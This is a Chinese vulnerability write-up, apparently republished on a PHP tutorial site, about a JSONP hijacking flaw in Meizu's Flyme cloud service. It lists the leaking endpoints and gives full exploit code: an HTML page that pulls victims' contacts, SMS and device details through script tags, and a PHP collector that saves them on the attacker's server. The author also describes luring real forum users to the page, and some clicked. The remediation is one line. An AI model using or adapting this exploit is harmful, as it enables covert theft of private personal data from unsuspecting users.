来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 魅族flyme云服务功能会备份手机通讯录、短信等到服务器,并可在云端查看。在https://flyme.meizu.com/页面,加载通讯录、短信、手机配置信息等都是Ajax GET获取json,加callback参数通过script引...
魅族flyme云服务功能会备份手机通讯录、短信等到服务器,并可在云端查看。
在https://flyme.meizu.com/页面,加载通讯录、短信、手机配置信息等都是Ajax GET获取json,加callback参数通过script引用在用户登录Flyme时就能截取用户这些信息。
存在问题页面:
https://flyme.meizu.com/service/uc_contactAct/searchSimpleContact.jsonp
相关问题链接:
https://flyme.meizu.com/service/uc_contactAct/searchSimpleContact.jsonp?p0=%E5%85%A8%E9%83%A8%E8%81%94%E7%B3%BB%E4%BA%BA&p1=0&_=1357611733951&callback=a%3D
https://flyme.meizu.com/service/fm_smsAct/getSmsGroups.jsonp?p0=phone&p1=0&p2=10&_=1358057353920&callback=b%3D
https://flyme.meizu.com/service/fm_settingAct/getDeviceInfo.jsonp?_=1358057422226&callback=c%3D
登陆后打开以上链接,你懂的。
漏洞利用演示: 1.在魅族社区bbs.meizu.com发贴,诱使用户点击
发了两篇帖子,两篇回复,不到1小时就被管理员删除了,不过还是有用户“侥幸”点击了,不知道是不是管理员自己呐?
2.附收到的结果截图及漏洞测试代码
利用代码(用了jquery.js):
meizu.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<iframe style="display:none" src="https://flyme.meizu.com/index.jsp"></iframe>
<script>
if(! /\?a$/.test(location.href)){
setTimeout('location.href=location.href+"?a"',2000);
}
</script>
<script src="jquery.js"></script>
<script src="https://flyme.meizu.com/service/uc_contactAct/searchSimpleContact.jsonp?p0=%E5%85%A8%E9%83%A8%E8%81%94%E7%B3%BB%E4%BA%BA&p1=0&_=1357611733951&callback=a%3D"></script>
<script src="https://flyme.meizu.com/service/fm_smsAct/getSmsGroups.jsonp?p0=phone&p1=0&p2=10&_=1358057353920&callback=b%3D"></script>
<script src="https://flyme.meizu.com/service/fm_settingAct/getDeviceInfo.jsonp?_=1358057422226&callback=c%3D"></script>
<script>
var as=JSON.stringify(a);
var bs=JSON.stringify(b);
var cs=JSON.stringify(c);
$.post('meizu.php',{'a':as,'b':bs,'c':cs,'r':Math.random()});
</script>
</body>
</html>加载iframe并刷新页面,为了用户登陆论坛时也能同时登陆Flyme云服务。
meizu.php
<?php
$a=$_POST['a'];
$b=$_POST['b'];
$c=$_POST['c'];
if(!empty($a) || !empty($b) || !empty($c)){
file_put_contents('meizu_'.date('Ymd-His').'.txt',$a."\n\n".$b."\n\n".$c."\n\n");
}
?>
修复方案:
不使用callback |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com